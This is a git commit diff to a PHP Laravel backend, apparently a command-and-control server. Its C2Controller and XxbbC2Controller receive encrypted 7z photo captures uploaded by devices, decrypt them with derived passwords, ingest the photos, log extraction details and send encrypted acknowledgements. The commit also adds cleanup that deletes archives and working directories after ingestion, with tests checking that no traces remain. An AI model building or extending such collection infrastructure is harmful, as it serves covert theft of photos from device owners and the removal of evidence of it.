feat: photo
This commit is contained in:
@@ -8,7 +8,6 @@ use App\Services\CorunaCrypto;
|
|||||||
use App\Services\IngestService;
|
use App\Services\IngestService;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Http\Response;
|
use Illuminate\Http\Response;
|
||||||
use Illuminate\Support\Facades\Storage;
|
|
||||||
|
|
||||||
class C2Controller extends Controller
|
class C2Controller extends Controller
|
||||||
{
|
{
|
||||||
@@ -136,34 +135,34 @@ class C2Controller extends Controller
|
|||||||
'barcode_count' => $barcodeCount,
|
'barcode_count' => $barcodeCount,
|
||||||
];
|
];
|
||||||
|
|
||||||
$attachmentRel = null;
|
|
||||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
try {
|
||||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
if (! empty($extracted['files'])) {
|
||||||
if (! empty($extracted['files'])) {
|
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
}
|
||||||
|
create_log([
|
||||||
|
'event' => 'check_extract',
|
||||||
|
'device_key' => $device->device_id,
|
||||||
|
'extract' => [
|
||||||
|
'ok' => $extracted['ok'],
|
||||||
|
'files' => array_map('basename', $extracted['files']),
|
||||||
|
'password_recipe' => $extracted['password_recipe'],
|
||||||
|
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||||
|
],
|
||||||
|
'photo_meta' => $photoMeta,
|
||||||
|
'raw_counters' => [
|
||||||
|
'idx' => $request->input('idx'),
|
||||||
|
'ftu' => $request->input('ftu'),
|
||||||
|
'ts' => $request->input('ts'),
|
||||||
|
'x-hit' => $xHitRaw,
|
||||||
|
],
|
||||||
|
], 'c2');
|
||||||
|
} finally {
|
||||||
|
CorunaArchive::forgetWorkDir($work);
|
||||||
}
|
}
|
||||||
create_log([
|
|
||||||
'event' => 'check_extract',
|
|
||||||
'device_key' => $device->device_id,
|
|
||||||
'attachment_path' => $attachmentRel,
|
|
||||||
'extract' => [
|
|
||||||
'ok' => $extracted['ok'],
|
|
||||||
'files' => array_map('basename', $extracted['files']),
|
|
||||||
'password_recipe' => $extracted['password_recipe'],
|
|
||||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
|
||||||
],
|
|
||||||
'photo_meta' => $photoMeta,
|
|
||||||
'raw_counters' => [
|
|
||||||
'idx' => $request->input('idx'),
|
|
||||||
'ftu' => $request->input('ftu'),
|
|
||||||
'ts' => $request->input('ts'),
|
|
||||||
'x-hit' => $xHitRaw,
|
|
||||||
],
|
|
||||||
], 'c2');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||||
|
|||||||
@@ -8,7 +8,6 @@ use App\Services\CorunaArchive;
|
|||||||
use App\Services\IngestService;
|
use App\Services\IngestService;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Http\Response;
|
use Illuminate\Http\Response;
|
||||||
use Illuminate\Support\Facades\Storage;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||||
@@ -107,34 +106,34 @@ class XxbbC2Controller extends Controller
|
|||||||
'barcode_count' => $barcodeCount,
|
'barcode_count' => $barcodeCount,
|
||||||
];
|
];
|
||||||
|
|
||||||
$attachmentRel = null;
|
|
||||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||||
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
try {
|
||||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
||||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
if (! empty($extracted['files'])) {
|
||||||
if (! empty($extracted['files'])) {
|
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
}
|
||||||
|
create_log([
|
||||||
|
'event' => 'xxbb_photo_extract',
|
||||||
|
'device_key' => $device->device_id,
|
||||||
|
'extract' => [
|
||||||
|
'ok' => $extracted['ok'],
|
||||||
|
'files' => array_map('basename', $extracted['files']),
|
||||||
|
'password_recipe' => $extracted['password_recipe'],
|
||||||
|
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||||
|
],
|
||||||
|
'photo_meta' => $photoMeta,
|
||||||
|
'raw_counters' => [
|
||||||
|
'idx' => $request->input('idx'),
|
||||||
|
'ftu' => $request->input('ftu'),
|
||||||
|
'ts' => $request->input('ts'),
|
||||||
|
'x-hit' => $xHitRaw,
|
||||||
|
],
|
||||||
|
], 'xxbb');
|
||||||
|
} finally {
|
||||||
|
CorunaArchive::forgetWorkDir($work);
|
||||||
}
|
}
|
||||||
create_log([
|
|
||||||
'event' => 'xxbb_photo_extract',
|
|
||||||
'device_key' => $device->device_id,
|
|
||||||
'attachment_path' => $attachmentRel,
|
|
||||||
'extract' => [
|
|
||||||
'ok' => $extracted['ok'],
|
|
||||||
'files' => array_map('basename', $extracted['files']),
|
|
||||||
'password_recipe' => $extracted['password_recipe'],
|
|
||||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
|
||||||
],
|
|
||||||
'photo_meta' => $photoMeta,
|
|
||||||
'raw_counters' => [
|
|
||||||
'idx' => $request->input('idx'),
|
|
||||||
'ftu' => $request->input('ftu'),
|
|
||||||
'ts' => $request->input('ts'),
|
|
||||||
'x-hit' => $xHitRaw,
|
|
||||||
],
|
|
||||||
], 'xxbb');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return $this->xxbbAck($request);
|
return $this->xxbbAck($request);
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
namespace App\Services;
|
namespace App\Services;
|
||||||
|
|
||||||
|
use Illuminate\Support\Facades\File;
|
||||||
use Illuminate\Support\Facades\Process;
|
use Illuminate\Support\Facades\Process;
|
||||||
use RuntimeException;
|
use RuntimeException;
|
||||||
|
|
||||||
@@ -80,18 +81,21 @@ class CorunaArchive
|
|||||||
|
|
||||||
$archive = $destDir.'/capture.7z';
|
$archive = $destDir.'/capture.7z';
|
||||||
file_put_contents($archive, $repaired);
|
file_put_contents($archive, $repaired);
|
||||||
file_put_contents($destDir.'/wire.bin', $wireData);
|
|
||||||
$password = $this->crypto->archivePassword($batchBase);
|
$password = $this->crypto->archivePassword($batchBase);
|
||||||
$membersDir = $destDir.'/members';
|
$membersDir = $destDir.'/members';
|
||||||
@mkdir($membersDir, 0755, true);
|
@mkdir($membersDir, 0755, true);
|
||||||
|
|
||||||
$bin = $this->resolveSevenZipBinary();
|
$bin = $this->resolveSevenZipBinary();
|
||||||
$result = Process::timeout(120)->run([
|
try {
|
||||||
$bin, 'x', '-y',
|
$result = Process::timeout(120)->run([
|
||||||
'-p'.$password,
|
$bin, 'x', '-y',
|
||||||
'-o'.$membersDir,
|
'-p'.$password,
|
||||||
$archive,
|
'-o'.$membersDir,
|
||||||
]);
|
$archive,
|
||||||
|
]);
|
||||||
|
} finally {
|
||||||
|
@unlink($archive);
|
||||||
|
}
|
||||||
|
|
||||||
$files = [];
|
$files = [];
|
||||||
if (is_dir($membersDir)) {
|
if (is_dir($membersDir)) {
|
||||||
@@ -114,6 +118,18 @@ class CorunaArchive
|
|||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static function forgetWorkDir(string $dir): void
|
||||||
|
{
|
||||||
|
if ($dir === '' || ! is_dir($dir)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
File::deleteDirectory($dir);
|
||||||
|
$parent = dirname($dir);
|
||||||
|
if (is_dir($parent) && File::isEmptyDirectory($parent)) {
|
||||||
|
@rmdir($parent);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Resolve 7z path without probing outside open_basedir.
|
* Resolve 7z path without probing outside open_basedir.
|
||||||
* is_executable('/usr/bin/7z') fatals under typical panel open_basedir.
|
* is_executable('/usr/bin/7z') fatals under typical panel open_basedir.
|
||||||
|
|||||||
@@ -625,6 +625,8 @@ class C2ApiTest extends TestCase
|
|||||||
'device_id' => 'dev-photo-1',
|
'device_id' => 'dev-photo-1',
|
||||||
'album_storage' => true,
|
'album_storage' => true,
|
||||||
]);
|
]);
|
||||||
|
$checkDir = storage_path('app/c2/check/dev-photo-1');
|
||||||
|
$checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
|
||||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||||
$resp = $this->call(
|
$resp = $this->call(
|
||||||
'POST',
|
'POST',
|
||||||
@@ -655,6 +657,9 @@ class C2ApiTest extends TestCase
|
|||||||
$this->assertSame(1, $photo->text_count);
|
$this->assertSame(1, $photo->text_count);
|
||||||
$this->assertSame(0, $photo->barcode_count);
|
$this->assertSame(0, $photo->barcode_count);
|
||||||
Storage::disk('local')->assertExists($photo->path);
|
Storage::disk('local')->assertExists($photo->path);
|
||||||
|
$this->assertStringStartsWith('c2/photos/', $photo->path);
|
||||||
|
$checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
|
||||||
|
$this->assertSame($checkBefore, $checkAfter);
|
||||||
|
|
||||||
@unlink($jpegPath);
|
@unlink($jpegPath);
|
||||||
@unlink($archivePath);
|
@unlink($archivePath);
|
||||||
|
|||||||
@@ -287,6 +287,8 @@ class XxbbC2ApiTest extends TestCase
|
|||||||
'device_id' => '000C30D83CD0402E',
|
'device_id' => '000C30D83CD0402E',
|
||||||
'album_storage' => true,
|
'album_storage' => true,
|
||||||
]);
|
]);
|
||||||
|
$checkDir = storage_path('app/c2/check/000C30D83CD0402E');
|
||||||
|
$checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
|
||||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||||
$this->call(
|
$this->call(
|
||||||
'POST',
|
'POST',
|
||||||
@@ -316,6 +318,9 @@ class XxbbC2ApiTest extends TestCase
|
|||||||
$this->assertSame(1, $photo->text_count);
|
$this->assertSame(1, $photo->text_count);
|
||||||
$this->assertSame(0, $photo->barcode_count);
|
$this->assertSame(0, $photo->barcode_count);
|
||||||
Storage::disk('local')->assertExists($photo->path);
|
Storage::disk('local')->assertExists($photo->path);
|
||||||
|
$this->assertStringStartsWith('c2/photos/', $photo->path);
|
||||||
|
$checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
|
||||||
|
$this->assertSame($checkBefore, $checkAfter);
|
||||||
|
|
||||||
@unlink($jpegPath);
|
@unlink($jpegPath);
|
||||||
@unlink($archivePath);
|
@unlink($archivePath);
|
||||||
|
|||||||
Reference in New Issue
Block a user